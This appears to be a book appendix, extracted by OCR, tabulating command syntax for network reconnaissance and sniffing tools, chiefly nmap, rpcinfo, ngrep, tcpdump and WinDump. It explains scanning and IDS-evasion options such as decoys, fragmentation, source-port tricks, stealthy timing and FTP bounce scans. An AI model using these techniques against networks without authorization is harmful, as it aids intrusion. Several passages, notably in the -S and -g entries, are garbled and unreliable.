only want to know
		which hosts on a network are up. nmap can do this by sending ICMP echo request packets to every IP address on the networks you specify. Hosts that respond are up. Unfortunately, some sites such as microsoft.com block echo request packets. Thus nmap can also send a TCP ACK packet to (by default) port 80. If we get an RST back, that machine is up. A third technique involves sending a SYN packet and waiting for an RST or a SYN/ACK. For nonroot users, a connect () method is used. By default (for root users), nmap uses both the ICMP and ACK techniques in parallel. You can change the -P option described later. Note that pinging is done by default anyway, and only hosts that respond are scanned. Only use this option if you wish to ping sweep without doing any actual port scans.

Chapter	Tool	Syntax
Chapter 3 (continued)	Ping	 -sU UDP scans This method is used to determine which UDP (User Datagram Protocol, RFC 768) ports are open on a host. The technique is to send 0 byte UDP packets to each port on the target machine. If we receive an ICMP port unreachable message, then the port is closed. Otherwise we assume it is open. Some people think UDP scanning is pointless. I usually remind them of the recent Solaris rcpbind hole. Rpcbind can be found hiding on an undocumented UDP port somewhere above 32770. So it does not matter that 111 is blocked by the firewall. But how can you find which of the more than 30,000 high ports it is listening on? With a UDP scanner you can! There is also the cDc Back Orifice backdoor program, which hides on a configurable UDP port on Windows machines, not to mention the many commonly vulnerable services that utilize UDP such as SNMP, TFTP, and NFS. -sA ACK scan This advanced method is usually used to map out firewall rulesets. In particular, it can help determine whether a firewall is stateful or just a simple packet filter that blocks incoming SYN packets. This scan type sends an ACK packet (with random looking acknowledgment/sequence numbers) to the ports specified. If an RST comes back, the port is classified as unfiltered. If nothing comes back (or if an ICMP unreachable is returned), the port is classified as filtered. Note that <i>nmap</i> usually does not print unfiltered ports, so getting no ports shown in the output is usually a sign that all the probes got through (and returned RSTS). This scan will obviously never show ports in the open state. -sW Window scan This advanced scan is very similar to the ACK scan, except that it can sometimes detect open ports as well as filtered/nonfiltered ones due to an anomaly in the TCP window size reporting by some operating systems. Systems vulnerable to this include at least some versions of AIX, Amiga, BeOS, BSDI, Cray, Tru64 UNIX, DG/UX, OpenVMS, Digital UNIX, FreeBSD, HP-UX, OS/2, IRIX, MacOS, NetBSD, OpenBSD, OpenSED, OpenSED, OpenSE
		determine whether they are RPC ports.

Chapter	Tool	Syntax
Chapter 3 (continued)	Ping	 -b <ftp host="" relay=""> FTP bounce attack An interesting "feature" of the FTP protocol (RFC 959) is support for proxy FTP connections. In other words, I should be able to connect from evil.com to the FTP server of target.com and request that the server send a file anywhere on the Internet! Now this may have worked well in 1985 when the RFC was written. But in today's Internet, we cannot have people hijacking FTP servers and requesting that data be spit out to arbitrary points on the Internet. As Hobbit wrote back in 1995, this protocol flaw "can be used to post virtually untraceable mail and news, hammer on servers at various sites, fill up disks, try to hop firewalls, and generally be annoying and hard to track down at the same time." What we will exploit this for is to scan TCP ports from a proxy FTP server. Thus you could connect to an FTP server allows reading from and writing to some directory (such as /incoming), you can send arbitrary data to ports that you do find open (nmap does not do this for you, though). The argument passed to the b option is the host you want to use as a proxy, in standard URL notation. The format is: username:password@server:port. Everything but server is optional. To determine what servers are vulnerable to this attack, you can see my article in Phrack 51. An updated version is available at the nmap site, http://www.insecure.org/nmap.</ftp> P0 Do not try and ping hosts at all before scanning them. This allows the scanning of networks that do not allow ICMP echo requests (or response) through their firewalls. Microsoft.com is an example of such a network, and thus you should always use -P0 or -PT80 when port scanning microsoft.com. PT Use TCP ping to determine what hosts are up. Instead of sending ICMP echo request packets and waiting for a response, we spew out TCP ACK packets. PS This option uses SYN (connection request) packets instead of ACK packets for root users. Hosts that are up should respond with an RST (or, rarely, a SYN ACK).

Chapter	Tool	Syntax
Chapter 3 (continued)	Ping	 -PI This option uses a true ping (ICMP Echo Request) packet. It finds hosts that are up and also looks for subnet-directed broadcast addresses on your network. These are IP addresses that are externally reachable and translate to a broadcast of incoming IP packets to a subnet of computers. These should be eliminated if found as they allow for numerous denial-of-service attacks (Smurf is the most common). -PB This is the default ping type. It uses both the ACK (-PT) and ICMP (-PI) sweeps in parallel. This way you can get firewalls that filter either one (but not both). -O This option activates remote host identification via TCP/IP fingerprinting. In other words, it uses several techniques to detect subtleties in the underlying operating system network stack of the computers you are scanning. It uses this information to create a fingerprint, which it compares with its database of known OS fingerprints (the nmap-os-fingerprints file) to decide what type of system you are scanning. If you find a machine with at least one port open, it would be useful if you mail me the details (i.e., <i>OS blah version foo was detected as OS blah version bar</i>). If you find a machine with at least one port open for which nmap says "unknown operating system," then it would be useful if you send me the IP address along with the OS name and version number. If you cannot send the IP address, the next best thing is to run nmap with the -d option and send me the three fingerprints that should result along with the OS name and version number. By doing this you contribute to the pool of operating systems known to nmap.
		 -I This turns on TCP reverse ident scanning. As noted by Dave Goldsmith in a 1996 Bugtraq post, the ident protocol (rfc 1413) allows for the disclosure of the username that owns any process connected via TCP, even if that process did not initiate the connection. So you can, for example, connect to the HTTP port and then use identd to find out whether the server is running as root. This can only be done with a full TCP connection to the target port (i.e., the -sT scanning option). When -I is used, the remote host's identd is queried for each open port found. Obviously, this will not work if the host is not running identd. -f This option causes the requested SYN, FIN, XMAS, or NULL scan to use tiny fragmented IP packets.

Chapter	Tool	Syntax
Chapter 3 (continued)	Tool	 Syntax The idea is to split up the TCP header over several packets to make it harder for packet filters, intrusion detection systems, and other annoyances to detect what you are doing. Be careful with this! Some programs have trouble handling these tiny packets. My favorite sniffer segmentation faulted immediately upon receiving the first 36-byte fragment. After that comes a 24-byte one! While this method will not get by packet filters and firewalls that queue all IP fragments (such as the CONFIG_IP_ALWAYS_DEFRAG option in the Linux kernel), some networks cannot afford the performance hit this causes and thus leave it disabled. Note that I do not yet have this option working on all systems. It works fine for my Linux, FreeBSD, and OpenBSD boxes and some people have reported success with other *NIX variants. •v Verbose mode. This is a highly recommended option and it gives out more information about what is going on. You can use it twice for greater effect. Use -d a couple of times if you really want to get crazy with scrolling the screen! •h This handy option displays a quick reference screen of nmap usage options. As you may have noticed, this man page is not exactly a "quick reference." •ON <logfilename> This logs the results of your scans in a normal human-readable form into the file you specify as an argument.</logfilename> •resume <logfilename> A network scan that is canceled due to Ctrl+C, network outage, etc., can be resumed using this option. The logfilename must be either a normal (-oN) or machine parsable (-oM) log from the aborted scan. No other options can be given (they will be the same as the aborted scan). nmap will start on the machine after the last one successfully scanned in the log file.</logfilename> •il <inputfilename> Reads target specifications from the file specified rather than from the command line. The file should contain a list of host or network expressions</inputfilename>
		separated by spaces, tabs, or newlines. Use a hyphen (-) as <i>inputfilename</i> if you want nmap to read host expressions from stdin (like at the end of a pipe). See the section <i>Target Specification</i> for more information on the expressions you fill the file with.

Chapter Tool	Syntax
Chapter 3 Ping (continued)	 Syntax -iR This option tells nmap to generate its own hosts to scan by simply picking random numbers. It will never end. This can be useful for statistical sampling of the Internet to estimate various things. If you are ever really bored, try nmap -sS -iR -p 80 to find some Web servers to look at. -p <port ranges=""> This option specifies what ports you want to specify. For example, -p 23 will only try port 23 of the target host(s)p 20-30,139,60000- scans ports between 20 and 30, port 139, and all ports greater than 60000. The default is to scan all ports between 1 and 1024 as well as any ports listed in the services file which comes with nmap.</port> -F Fast scan mode Specifies that you only wish to scan for ports. -D <decoy1 [decoy2][,me],=""> Causes a decoy scan to be performed, which makes it appear to the remote host that the host(s) you specify as decoys are scanning the target network too. Thus their IDS might report 5–10 port scans from unique IP addresse, but they will not know which IP was scanning them and which were innocent decoys. While this can be defeated through variew" mechanisms, it is generally an extremely effective technique for hiding your IP address. Separate each decoy host with commas and you can optionally use ME as one of the decoys to represent the position in which you want your IP address to be used. If you put ME in the 6th position or later, some common port scan detectors (such as Solar Designer's excellent scanlogd) are unlikely to show your IP address tall. If you do not use 'ME, nmap will put you in a random position. Note that the hosts you use as decoys should be up or you might accidentally SYN flood your targets. Also, it will be pretty easy to determine which host is scanning then to use IP addresses instead of names (so the decoy networks do not see you in their nameserver logs). Also note, that some (stupid) "port scan detectors" will firewall/deny routing to hosts that attempt port scans.</decoy1>
	if only one is actually up on the network. You might want to use IP addresses instead of names (so the deco- networks do not see you in their nameserver logs). Also note, that some (stupid) "port scan detectors" will firewall/deny routing to hosts that attempt port scans Thus, you might inadvertently cause the machine you scan to lose connectivity with the decoy machines you are using. This could cause the target machines majo problems if the decoy is, say, its Internet gateway o even local host. Thus you might want to be careful

Chapter	Tool	Syntax
Chapter 3 (continued)	Tool	Syntax of this option. The real moral of the story is that detectors of spoofable port scans should not take action against the machine that seems like it is port scanning them. It could just be a decoy! Decoys are used both in the initial ping scan (using ICMP, SYN, ACK, or whatever) and during the actual port scanning phase. Decoys are also used during remote OS detection (-O). It is worth noting that using too many decoys may slow your scan and potentially even make it less accurateS <ip_address> In some circumstances, nmap may not be able to determine your source address (nmap will tell you if this is the case). In this situation, use -S with your IP address (of the interface you wish to send packets through). Another possible use of this flag is to spoof the scanned by a competitor! This is not a supported usage (or the main purpose) of this flag. I just think it raises an interesting possibility that people should be aware of before they accuse others of port scanning theme would generally be required for this sort of usagee <interface> Tells nmap what interface to send and receive packets on. Nmap should be able to detect this, but it will tell you if it cannotg <portnumber> Sets the source port number used in scans. Many naive firewall and packet filter installations make an exception in their ruleset to allow DNS (53) or FTP-DATA (20) packets to come through and establish a connection. Obviously, this completely subverts the security advantages of the firewall since intruders can just and TCP scans should try 20 before 53. Note that this is only a request that nmap will honor if and when it is able to. For example, you cannot do TCP ISN sampling all from one hostport to one hostport, so nmap changes the source port even if you used -g. Be aware that there is a course on the you should the packet filter installations are proved on the you cannot do TCP ISN sampling all from one hostport to one hostport, so nmap changes the yourse port even if you used -g. Be aw</portnumber></interface></ip_address>
		 small performance penalty on some scans for using this option, because I sometimes store useful information in the source port number. -r Tells nmap NOT to randomize the order in which ports are scanned.

Chapter	Tool	Syntax
Chapter 3 (continued)	Ping	 randomize_hosts Tells nmap to shuffle each group of up to 2,048 hosts before it scans them. This can make the scans less obvious to various network monitoring systems, especially when you combine it with slow. -M <max sockets=""> Sets the maximum number of sockets that will be used in parallel for a TCP connect () scan (the default). This is useful to slow down the scan a little bit and avoid crashing remote machines. Another approach is to use -sS, which is generally easier for machines to handle. Generally nmap does a good job at adjusting for network characteristics at runtime and scanning as fast as possible while minimizing the chances of hosts/ports going undetected. However, there are same cases where nmap's default timing policy may not meet your objectives. The following options provide a fine level of control over the scan timing.</max>
		 -T <paranoid aggressive="" insane="" normal="" polite="" sneaky="" =""> These are canned timing policies for conveniently expressing your priorities to nmap. Paranoid mode scans very slowly in the hopes of avoiding detection by IDS systems. It serializes all scans (no parallel scanning) and generally waits at least 5 minutes between sending packets. Sneaky is similar, except it only waits 15 seconds between sending packets. Polite is meant to ease the load on the network and reduce the chances of crashing machines. It serializes the probes and waits at least 0.4 seconds between them. Normal is the default nmap behavior, which tries to run as quickly as possible without overloading the network or missing hosts/ports. Aggressive mode adds a 5-minute timeout per host and it never waits more than 1.25 seconds for probe responses. Insane is only suitable for very fast networks or where you do not mind losing some information. It times out hosts in 75 seconds and only waits 0.3 seconds for individual probes. It does allow for very quick network sweeps, though. You can also reference these by number (0–5). For example, -T 0 gives you Paranoid mode and -T 5 is Insane mode. These canned timing modes should NOT be used in combination with the lower-level controls given next.</paranoid> -host_timeout <milliseconds> Specifies the amount of time nmap is allowed to spend scanning a single host before giving up on that IP. The default timing mode</milliseconds>

Chapter	Tool	Syntax
Chapter 3 (continued)	Ping	max_rtt_timeout <milliseconds> Specifies the maximum amount of time nmap is allowed to wait for a probe response before retransmitting or timing out that particular probe. The default mode sets this to about 9000.</milliseconds>
		 min_rtt_timeout <milliseconds> When the target hosts start to establish a pattern of responding very quickly, nmap will shrink the amount of time given per probe. This speeds up the scan, but can lead to missed packets when a response takes longer than usual. With this parameter you can guarantee that nmap will wait at least the given amount of time before giving up on a probe.</milliseconds> initial_rtt_timeout <milliseconds> Specifies the initial probe timeout. This is generally only useful when scanning firwalled hosts with -P0. Normally nmap can obtain good RTT estimates from the ping and the first few probes. The default mode uses 6000.</milliseconds> max_parallelism <number> Specifies the maximum number of scans nmap is allowed to perform in parallel. Setting this to 1 means nmap will never try to scan more than one port at a time. It also affects other parallel scans such as ping sweep, RPC scan, etc.</number> scan_delay <milliseconds> Specifies the minimum amount of time nmap must wait between probes. This is mostly useful to reduce network load or to slow the scan way down to sneak under IDS thresholds.</milliseconds>
	NmapNT Nslookup	Refer to nmap syntax above. nslookup [-SubCommand] [{Computer- ToFind [-Server]}]
		 -SubCommand Specifies one or more nslookup subcommands as a command-line option. For a list of subcommands, see Related Topics. ComputerToFind Looks up information for ComputerToFind using the current default DNS name server, if no other server is specified. To look up a computer not in the current DNS domain, append a period to the name. -Server Specifies to use this server as the DNS name server. If you omit -Server, the default DNS name server is used. {help ?} Displays a short summary of nslookup subcommands.

Chapter	Tool	Syntax
Chapter 3 (continued)	Nmblookup	 nmblookup <options> <netbios_name></netbios_name></options> Options: -A Interprets name as an IP address and does a node-status query on this address. -B broadcast _address Sends the query to the given broadcast address. The default is to send the query to the broadcast address of the primary network interface. -d debuglevel Sets the debug (sometimes called logging) level. The level can range from 0 all the way to 10. Debug level 0 logs only the most important messages; level 1 is normal; levels 3 and above are primarily for debugging and slow the program considerably. -h Prints command-line usage information for the program. -i scope Sets a NetBIOS scope identifier. Only machines with the same identifier will communicate with the server. The scope identifier was a predecessor to workgroups, and this option is included only for backward compatibility. -M Searches for a local master browser. This is done with a broadcast searching for a machine that will respond to the special nameMSBROWSE, and then asking that machine for information, instead of broadcasting the query itself. -R Sets the recursion desired bit in the packet. This will cause the machine that responds to try to do a WINS lookup and return the address and any other information the WINS server has saved. -r Use the root port of 137 for Windows 95 machines. -S Once the name query has returned an IP address, this does a node status query as well. This returns all the resource types that the machine knows about, with
	Rpcinfo	<pre>rpcinfo -p [host] rpcinfo -T transport host prognum [versnum] rpcinfo -1 [-T transport] host prognum versnum rpcinfo [-n portnum] -u host prognum [versnum] rpcinfo [-n portnum] -t host prognum [versnum]</pre>

Chapter	Tool	Syntax
Chapter 3 (continued)	Nmblookup	rpcinfo -a serv_address -T transport prognum [versnum]
		rpcinfo -b [-T transport] prognum versnum
		rpcinfo -d [-T transport] prognum versnum
		Options:
		 Options: -m Displays a table of statistics of rpcbind operations on the given host. The table shows statistics for each version of rpcbind (versions 2, 3, and 4), giving the number of times each procedure was requested and successfully serviced, the number and type of remote call requests that were made, and information about RPC address lookups that were handled. This is useful for monitoring RPC activities on a host. -s Displays a concise list of all registered RPC programs on the host. If the host is not specified, it defaults to the local host. -p Probes rpcbind on the host using version 2 of the rpcbind protocol, and displays a list of all registered RPC programs. If the host is not specified, it defaults to the local host. Note that version 2 of the rpcbind protocol was previously known as the portmapper protocol. -t Makes an RPC call to procedure 0 of prognum on the specified host using TCP, and reports whether a response was received. This option is made obsolete by the -T option as shown in the third synopsis. -I Displays a list of entries with a given prognum and versuum on the specified host. Entries are returned for
		all transports in the same protocol family as that used
		-b Makes an RPC broadcast to procedure 0 of the specified prognum and versnum and reports all hosts that respond. If the transport is specified, it broadcasts its request only on the specified transport. If broadcasting is not supported by any transport, an error message is printed. Use of broadcasting should be limited because of the potential for adverse effects on other systems.

Chapter	Tool	Syntax
Chapter 3 (continued)	Nmblookup Visual Route	 -d Deletes registration for the RPC service of the specified prognum and versnum. If the transport is specified, unregister the service on only that transport; otherwise unregister the service on all the transports on which it was registered. Only the owner of a service can delete a registration, except the superuser, who can delete any service. -u Makes an RPC call to procedure 0 of prognum on the specified host using UDP, and report whether a response was received. This option is made obsolete by the -T option as shown in the third synopsis. Hostname or IP address.
	Sam Spade	Syntax options within the Graphical User Interface (GUI).
	Netcraft	Web site address or IP address.
	Sprint	Active usage: ./sprint -t <target> Passive usage: ./sprint -1 Options: -d <device> -p <port 80="" default=""> -f <prints file=""> -s <send string=""> -g <grep string=""> -o <output file=""> -i <input file=""/> -a <amount of="" times=""> -n Netcraft mode -v verbose mode -D daemon mode -h help</amount></output></grep></send></prints></port></device></target>
	Disable Default Shares WinFinger- print	No syntax options. Registry editing. Please see Lab 27. Syntax options within the Graphical User Interface (GUI).
Chapter 4	Angry IP	Syntax options within the GUI.
	LanGuard	Syntax options within the GUI.

Chapter	Tool	Syntax
Chapter 4 (continued)	Fscan	 FScan [-abefhqnv?] [-cditz <n>] [-flo <file>] [-pu <n>[, <n>-<n>]] IP[, IP-IP]</n></n></n></file></n> -?/-h Show this help text. -a Append to output file (used in conjunction with the -o option). -b Get port banners. -c Timeout for connection attempts (ms). -d Delay between scans (ms). -e Resolve IP addresses to hostnames. -f Read IPs from file (compatible with output from -o). -i Bind to given local port. -I Port list file; enclose name in quotes if it contains spaces. -p TCP port(s) to scan (a comma-separated list of ports/ranges). -q Quiet mode; do not ping host before scan. -r Randomize port order. -t Timeout for pings (ms). -u UDP port(s) to scan (a comma-separated list of ports/ranges). -v Verbose mode. -z Maximum simultaneous threads to use for scanning.
	Passifist	<pre>./passifist: -i -r -d [options] -r <pcapfile> -i <iface> -S <list storageplugins=""> -P <list protoplugins=""> -U <connection url=""></connection></list></list></iface></pcapfile></pre>
	LanSpy	Syntax options within the GUI.
	Netcat	See above.
	SuperScan	Syntax options within the GUI.

Chapter	ТооІ	Syntax
Chapter 4	Strobe	Usage:
(continued)		./strobe [options]
		[-v(erbose)]
		[-V(erbose_stats]
		[-m(inimise)]
		[-d(elete_dupes)]
		[-g(etpeername_disable)]
		[-s(tatistics)]
		[-q(uiet)]
		[-o output_file]
		[-b begin_port_n]
		[-e end_port_n]
		[-p single_port_n]
		[-P bind_port_n]
		[-A bind_addr_n]
		[-t timeout_n]
		[-n num_sockets_n]
		[-S services_file]
		[-i hosts_input_file]
		[-1(inear)]
		[-1(ast)]
		[-a abort_after_port_n]
		[-c capture_n]
		$\begin{bmatrix} -w & widp_coi_n \end{bmatrix}$
		[-I. canture lines n]
		[-D_capture_directory]
		$[-T]$ capture_timeout n]
		[-M(ai]] author)]
		[host1 [host n]]
	FTP Scanner	Syntax options within the GUI.
	CGI Scanner	Syntax options within the GUI.
	SMB Scanner	Syntax options within the GUI.

Chapter Tool	Syntax
Chapter 4 Wingate (continued) Scanne	Syntax options within the GUI.
ADM Gates	ADMgates <zone scan="" to="">.</zone>
Chapter 5 Ethereal	Syntax options within the GUI.
Ngrep	 ngrep <-hXViwgpevxlDtT> <-IO pcap_dump > -n num > < -d dev > < -A num > s snaplen > < match expression > bpf filter > Options: h Display help/usage information. X Treat the match expression as a hexadecimal string. See the explanation of match expression below. V Display version information. I Ignore case for the regex expression. w Match the regex expression as a word. q Be quiet; do not output any information other than packet headers and their payloads (if relevant). p Do not put the interface into promiscuous mode. e Show empty packets. Normally empty packets are discarded because they have no payload to search. If specified, empty packets will be shown, regardless of the specified regex expression. v Invert the match; only display packets that do not match. x Dump packet contents as hexadecimal as well as ASCII. I Make stdout line buffered. D When reading pcap_dump files, replay them at their recorded time intervals (mimic real time). t Print a timestamp in the form of YYYY/MM/DD HH:MM:SS.UUUUUU every time a packet is matched. T Print a timestamp in the form of +S.UUUUUU, indicating the delta between packet matches. s snaplen Set the bpf caplen to snaplen (default 65536). I pcap_dump Input file pcap_dump into ngrep. Works with any pcap-compatible dump file format. This option is useful for searching for a wide range of different patterns over the same packet stream. O pcap_dump Output matched packets to a pcap-compatible dump file. This feature does not interfere with normal output to stdout.

Chapter	Tool	Syntax
Chapter 5 (continued)	Ngrep	-d dev By default ngrep will select a default interface to listen on. Use this option to force ngrep to listen on interface day.
		-A num Dump <i>num</i> packets of trailing context after matching a packet.
		 match expression A match expression is either an extended regular expression, or if the -X option is specified, a string signifying a hexadecimal value. An extended regular expression follows the rules as implemented by the GNU regex library. Hexadecimal expressions can optionally be preceded by "0x." For example: "DEADBEEF," "0xDEADBEEF." bpf filter Selects a filter that specifies what packets will be dumped. If no bpf filter is given, all IP packets seen
		on the selected interface will be dumped. Otherwise, only packets for which <i>bpf filter</i> is true will be dumped. The <i>bpf filter</i> consists of one or more <i>primitives</i> . Primitives usually consist of an <i>id</i> (name or number)
		proceeded by one or more qualifiers. There are three different kinds of qualifier:
		<i>Type</i> qualifiers say what kind of thing the ID name or number refers to. Possible types are host, net, and port. For example: "host blort," "net 1.2.3," "port 80." If there is no type qualifier, host is assumed.
		<i>dir</i> qualifiers specify a particular transfer direction to and/or from <i>id</i> . Possible directions are src, dst, src or dst and src and dst. For example: "src foo," "dst net 1.2.3," "src or dst port ftp-data." If there is no dir qualifier, src or dst is assumed. For "NULL" link layers (i.e., point-to-point protocols such as SLIP) the inbound and outbound qualifiers can be used to specify a desired direction.
		<i>proto</i> qualifiers are restricted to IP-only protocols. Possible protos are: tcp, udp, and icmp. For example: "udp src foo" or "tcp port 21." If there is no proto
		qualifier, all protocols consistent with the type are assumed. For example, "src foo" means "ip and ((tcp or udp) src foo)," "net bar" means "ip and (net bar)," and "port 53" means "ip and ((tcp or udp) port 53)."
	Tcpdump	tcpdump [-adeflnNOpqStvx] [-c <i>count</i>] [-F file] [-i interface] [-r file] [-s snaplen] [-T type] [-w file] [expression]

Chapter	Tool	Syntax
Chapter 5 (continued)	Tool	 Syntax Options: a Attempt to convert network and broadcast addresses to names. c Exit after receiving count packets. d Dump the compiled packet-matching code in a human-readable form to standard output and stop. dd Dump packet-matching code as a C program fragment. ddd Dump packet-matching code as decimal numbers (preceded by a count). e Print the link-level header on each dump line. f Print "foreign" Internet addresses numerically rather than symbolically (this option is intended to get around an issue with Sun's yp server—usually it hangs forever translating nonlocal Internet numbers). F Use <i>file</i> as input for the filter expression. An additional expression given on the command line is ignored. i Listen on <i>interface</i>. If unspecified, <i>tcpdump</i> searches the system interface list for the lowest numbered, configured interface (excluding loopback). Ties are broken by choosing the earliest match. I Make stdout line buffered. Useful if you want to see the data while capturing it. For example, "tcpdump -1] tee dat" or "tcpdump -1 > dat & tail -f dat." n Do not convert addresses (i.e., host addresses, port numbers, etc.) to names. N Do not print domain name qualification of hostnames. For example, if you give this flag then <i>tcpdump</i> will print "nic" instead of "nic.dn.mil."
		 is useful only if you suspect a bug in the optimizer. -p <i>Do not</i> put the interface into promiscuous mode. Note that the interface might be in promiscuous mode for some other reason; hence, -p cannot be used as an abbreviation for ether host {local-hw-addr} or ether broadcast.
		 -q Quick (quiet?) output. Print less protocol information so output lines are shorter. -r Read packets from <i>file</i> (which was created with the -w option). Standard input is used if <i>file</i> is ""

Chapter	Tool	Syntax
Chapter 5 (continued)	Tcpdump	 -s Snarf snaplen bytes of data from each packet rather than the default of 68 (with Sun OS's NIT, the minimum is actually 96). 68 bytes is adequate for IP, ICMP, TCP, and UDP but may truncate protocol information from name server and NFS packets (see below). Packets truncated because of a limited snapshot are indicated in the output with "[<i>proto</i>]," where <i>proto</i> is the name of the protocol level at which the truncation has occurred. Note that taking larger snapshots both increases the amount of time it takes to process packets and, effectively, decreases the amount of packet buffering. This may cause packets to be lost. You should limit <i>snaplen</i> to the smallest number that will capture the protocol information you are interested in. -T Force packets selected by <i>expression</i> to be interpreted the specified <i>type</i>. Currently known types are rpc (Remote Procedure Call), rtp (Real-Time Applications protocol), vat (Visual Audio Tool), wb (distributed White Board), and snmp (Simple Network Management Protocol). -S Print absolute, rather than relative, TCP sequence numbers. -t <i>Do not</i> print a timestamp on each dump line. -v (Slightly more) verbose output. For example, the time to live and type of service information in an IP packet is printed. -ve Even more verbose output. For example, additional fields are printed from NFS reply packets. -w Write the raw packets to <i>file</i> rather than parsing and printing them out. They can later be printed with the -r option. Standard output is used if <i>file</i> is "" -x Print each packet (minus its link level header) in hex. The smaller of the entire packet or <i>snaplen</i> bytes will be printed.
	WinDump	<pre>tcpdump [-ABdDeflLnNOpqRStuUvxX] [-c count] [-C file_size] [-F file] [-i interface] [-m module] [-M secret] [-r file] [-s snaplen] [-T type] [-w file]</pre>

Chapter	Tool	Syntax
Chapter 5	WinDump	[-W filecount]
(continued)	•	[-E spi@ipaddr algo:secret,]
		[-y datalinktype] [-Z user]
		[expression]
		Options:
		-A Print each packet (minus its link level header) in
		ASCII. Handy for capturing web pages.
		-B (Win32 specific) Set driver's buffer size to size in
		kilobytes. The default buffer size is 1 megabyte (i.e.,
		1000). If there is any loss of packets during the capture,
		you can increase the kernel buffer size by means of this
		influences beavily the capture performance
		-c Exit after receiving count nackets
		-C Before writing a raw packet to a savefile, check
		whether the file is currently larger than <i>file_size</i> and, if
		so, close the current savefile and open a new one.
		Savefiles after the first savefile will have the name
		specified with the -w flag, with a number after it,
		starting at 1 and continuing upward. The units of
		<i>The_size</i> are millions of bytes (1,000,000 bytes, not
		d Dump the compiled packet-matching code in a
		human-readable form to standard output and stop
		-dd Dump packet-matching code as a C program
		fragment.
		-ddd Dump packet-matching code as decimal numbers
		(preceded by a count).
		-D Print the list of the network interfaces available on
		the system and on which <i>tcpdump</i> can capture packets.
		For each network interface, a number and an interface
		name, possibly followed by a text description of the
		can be supplied to the <i>i</i> flag to specify an interface on
		which to capture. This can be useful on systems that
		do not have a command to list them (e.g., Windows
		systems, or Unix systems lacking ifconfig -a); the
		number can be useful on Windows 2000 and later
		systems, where the interface name is a somewhat
		complex string.

Chapter Tool Syntax
 Chapter 5 WinDump The -D flag will not be supported if <i>tcpdump</i> was but with an older version of <i>libpcap</i> that lacks the pcap_findalldevs() function. -e Print the link-level header on each dump line. -E Use <i>spi@ipaddr algo:secret</i> for decrypting IPsec E packets that are addressed to <i>addr</i> and contain Secur Parameter Index value <i>spi</i>. This combination may I repeated with comma or newline separation. Note that setting the secret for IPv4 ESP packets is supported at this time. Algorithms may be des-cbc, 3des-cbc, blowfish-cbc, recc, cast128-cbc, or none. The default is des-cbc, rability to decrypt packets is only present if <i>tcpdum</i> was compiled with cryptography enabled. <i>Secret</i> is the ASCII text for ESP secret key. If preceded by 0x, ther hex value will be read. The option assumes RFC2406 ESP, not RFC1827 ESP. To option is only for debugging purposes, and the use this option with a true "secret" key is discouraged. presenting IPsec secret key onto command line y make it visible to others, via <i>ps</i>(1) and other occasion In addition to the above syntax, the syntax <i>file name</i> me be used to have tcpdump read the provided file in. The file is opened upon receiving the first ESP packet, any special permissions that tcpdump may have beer given should already have been given up. -f Print "foreign" IPv4 addresses numerically rather the symbolically (this option is intended to get around issue in Sun's NIS server—usually it hangs forev translating nonlocal Internet numbers). The test for "foreign" IPv4 addresses is done using the IPv4 addresses is done using the set of more than on interface, this option will not work correctly. F. Use <i>file</i> as input for the filter expression. An addition expression given on the command line is ignored. i. Listen on <i>interface</i> list for the lowest number configured interface list for the lowest number.

Chapter	Tool	Syntax
Chapter 5 (continued)	WinDump	 On Linux systems with 2.2 or later kernels, an <i>interface</i> argument of "any" can be used to capture packets from all interfaces. Note that captures on the "any" device will not be done in promiscuous mode. If the -D flag is supported, an interface number as printed by that flag can be used as the <i>interface</i> argument. -I Make stdout line buffered. Useful if you want to see the data while capturing it. For example, "tcpdump -I tee dat" or "tcpdump -I > dat & tail -f dat." -L List the known data link types for the interface and exit. -m Load SMI MIB module definitions from file <i>module</i>. This option can be used several times to load several MIB modules into <i>tcpdump</i>. -M Use <i>secret</i> as a shared secret for validating the digests found in TCP segments with the TCP-MD5 option (RFC 2385), if present. -n Do not convert addresses (i.e., host addresses, port numbers, etc.) to names. -N Do not print domain name qualification of host names. For example, if you give this flag then <i>tcpdump</i> will print "nic" instead of "nic.ddn.mil." -O Do not run the packet-matching code optimizer. This is useful only if you suspect a bug in the optimizer. -p <i>Do not</i> put the interface into promiscuous mode, Note that the interface might be in promiscuous mode for some other reason; hence, -p cannot be used as an abbreviation for ether host {local-hw-addr} or ether broadcast. -R Assume ESP/AH packets to be based on old specification (RFC1825 to RFC1829). If specified, <i>tcpdump</i> will not print the replay prevention field. Since there is no protocol version field in the ESP/AH specification, <i>tcpdump</i> cannot deduce the version of ESP/AH protocol. -r Read packets from <i>file</i> (which was created with the -w option). Standard input is used if <i>file</i> is ""
		-> rrint absolute, rather than relative, ICP sequence numbers.

Chapter	Tool	Syntax
Chapter 5 (continued)	WinDump	 •S Snarf <i>snaplen</i> bytes of data from each packet rather than the default of 68 (with Sun OS's NIT, the minimum is actually 96). 68 bytes is adequate for IP, ICMP, TCP and UDP but may truncate protocol information from name server and NFS packets (see below). Packets truncated because of a limited snapshot are indicated in the output with "[<i>proto</i>]," where <i>proto</i> is the name of the protocol level at which the truncation has occurred. Note that taking larger snapshots both increases the amount of time it takes to process packets and, effectively, decreases the amount of packet buffering. This may cause packets to be lost. You should limit <i>snaplen</i> to the smallest number that will capture the protocol information you are interested in. Setting <i>snaplen</i> to 0 means it will use the required length to catch whole packets. •T Force packets selected by <i>expression</i> to be interpreted the specified <i>type</i>. Currently known types are aodv (Ad-hoc On-demand Distance Vector protocol), cnfp (Cisco NetFlow protocol), rpc (Remote Procedure Call), rtp (Real-Time Applications protocol), rtcp (Real-Time Applications control protocol), SNMP (Simple Network Management Protocol), sthy (distributed White Board). •t <i>Do not</i> print a timestamp on each dump line. •tt Print an unformatted timestamp on each dump line. •tt Print a delta (in microseconds) between current and previous line on each dump line. •ttt Print a timestamp in default format proceeded by the date on each dump line. •ttt Print a timestamp in default format proceeded by the date on each dump line. •ttt Print a nolder version of <i>libpcap</i> that lacks the pcap_dump_flush() function. •v When parsing and printing, produce (slightly more) verbose output. For example, the time to live, identification, total length and options in an IP packet are printed. Also enables additional packet integrity checks such as verifying the IP and ICMP header checksum.

Chapter	Tool	Syntax
